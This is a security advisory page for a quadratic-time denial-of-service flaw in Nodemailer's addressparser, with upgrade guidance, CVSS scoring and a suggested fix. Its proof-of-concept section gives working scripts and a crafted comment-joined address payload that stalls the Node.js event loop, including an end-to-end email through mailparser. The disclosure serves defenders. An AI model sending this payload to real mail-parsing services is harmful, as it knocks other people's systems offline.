Skip to content

GHSA-prgh-xp8r-p3m5 CVE-2026-90776

Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)

High npm
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.68%
Chance of exploitation in the next 30 days. Higher than 52.58% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-407 Inefficient Algorithmic Complexity
Fix
10.0.5
Upgrade nodemailer to this version or later

Description

Summary

nodemailer/lib/addressparser parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like a@b(c)@b(c)@b(c)..., every atom re-joins that same growing string.

The join check in src/addressparser/index.ts:

const joins =
    prevToken &&
    prevToken.noBreak &&
    parts.length &&
    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. parts[parts.length - 1].slice(-1) runs before the cheap token.value.charAt(0). slice(-1) has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since || is left to right, the cheap charAt(0) that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → slice(-1) re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (npm i nodemailer@10.0.3):

const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser('a' + '@b(c)'.repeat(130000));
console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (npm i mailparser@3.9.24):

const { simpleParser } = require('mailparser');
(async () => {
  const to = 'a' + '@b(c)'.repeat(130000);
  const eml = `From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n`;
  const s = Date.now();
  await simpleParser(eml);
  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking
})();

Timings measured on 10.0.3:

Address value Parse time
390 KB 1.3 s
585 KB 5.6 s
640 KB 6.7 s
976 KB 18 s

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every )+@ junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs addressparser on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound To/From/Cc with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
>= 9.1.0, < 10.0.5
10.0.5

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 10.0.5

npm
npm install nodemailer@10.0.5
yarn
yarn add nodemailer@10.0.5
pnpm
pnpm add nodemailer@10.0.5

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-407: Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-8vvx-rff5-p5rq
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
High Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor